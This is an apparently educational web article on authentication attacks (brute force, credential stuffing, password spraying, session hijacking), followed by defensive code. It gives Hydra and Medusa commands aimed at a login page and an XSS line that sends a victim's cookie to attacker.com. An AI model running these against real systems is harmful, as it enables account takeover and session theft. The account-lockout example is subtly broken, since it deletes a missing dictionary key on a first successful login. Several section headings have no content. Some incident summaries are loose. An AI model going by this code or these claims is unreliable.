Authentication Attacks: Bypassing Login Mechanisms
Learn about common authentication attacks including brute force, credential stuffing, and MFA bypass techniques with defensive strategies.
What are Authentication Attacks?
Authentication attacks target the mechanisms that verify user identity. Since authentication is the gateway to protected resources, compromising it gives attackers full access to user accounts and data. These attacks range from simple password guessing to sophisticated MFA bypass techniques.
Prerequisites
Before studying authentication attacks, you should understand:
Types of Authentication Attacks
Brute Force Attacks
Systematically trying all possible password combinations:
# Using Hydra for HTTP basic auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-get /admin
# Using Hydra for form-based auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"
Credential Stuffing
Using previously leaked username/password pairs against multiple services:
# Using Medusa for credential stuffing
medusa -U users.txt -P breached-passwords.txt -h target.com -M http
Password Spraying
Trying a single common password against many accounts to avoid lockout:
# Spray a single password against many users
hydra -L users.txt -p "Spring2026!" target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
Session Hijacking
Stealing a valid session token after authentication:
// Stolen via XSS
document.location='https://attacker.com/steal?cookie='+document.cookie
MFA Bypass Techniques
Defending Authentication
Account Lockout Policies
from datetime import datetime, timedelta
MAX_ATTEMPTS = 5
LOCKOUT_DURATION = timedelta(minutes=15)
failed_attempts = {}
def login(username, password):
if username in failed_attempts:
attempts, lockout_time = failed_attempts[username]
if attempts >= MAX_ATTEMPTS:
if datetime.now() - lockout_time < LOCKOUT_DURATION:
return "Account locked. Try again later."
else:
del failed_attempts[username]
if verify_password(username, password):
del failed_attempts[username]
return "Login successful"
else:
if username not in failed_attempts:
failed_attempts[username] = [0, datetime.now()]
failed_attempts[username][0] += 1
return "Invalid credentials"
Rate Limiting
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 5,
message: 'Too many login attempts, please try again later.',
});
app.post('/login', loginLimiter, async (req, res) => {
// Login logic
});
Multi-Factor Authentication
import pyotp
import qrcode
def setup_mfa(user_id):
secret = pyotp.random_base32()
totp = pyotp.TOTP(secret)
provisioning_uri = totp.provisioning_uri(name=user_id, issuer_name="SecureApp")
qrcode.make(provisioning_uri).save(f"mfa_{user_id}.png")
return secret
def verify_totp(secret, code):
totp = pyotp.TOTP(secret)
return totp.verify(code, valid_window=1)
Real-World Examples
Yahoo Breach (2013-2014): The largest credential theft in history, affecting 3 billion accounts. Attackers used phishing and forged cookies.
SolarWinds (2020): Attackers compromised authentication mechanisms to inject backdoors into software updates, affecting 18,000 customers.
GitHub Action Spam (2021): Credential stuffing attacks against GitHub accounts used credentials from previous breaches.
Common Mistakes
No rate limiting: Allows unlimited login attempts, making brute force trivial.
Informative error messages: Saying "Username not found" vs "Invalid credentials" helps attackers enumerate valid usernames.
No MFA or weak MFA: SMS-based MFA is vulnerable to SIM swapping.
Session not invalidated on password change: Old sessions remain valid.
Best Practices
Related Tools
Related Articles
Summary
Authentication attacks target the identity verification layer. Common techniques include brute force, credential stuffing, password spraying, and MFA bypass. Effective defenses combine rate limiting, strong password policies, MFA, and anomaly detection.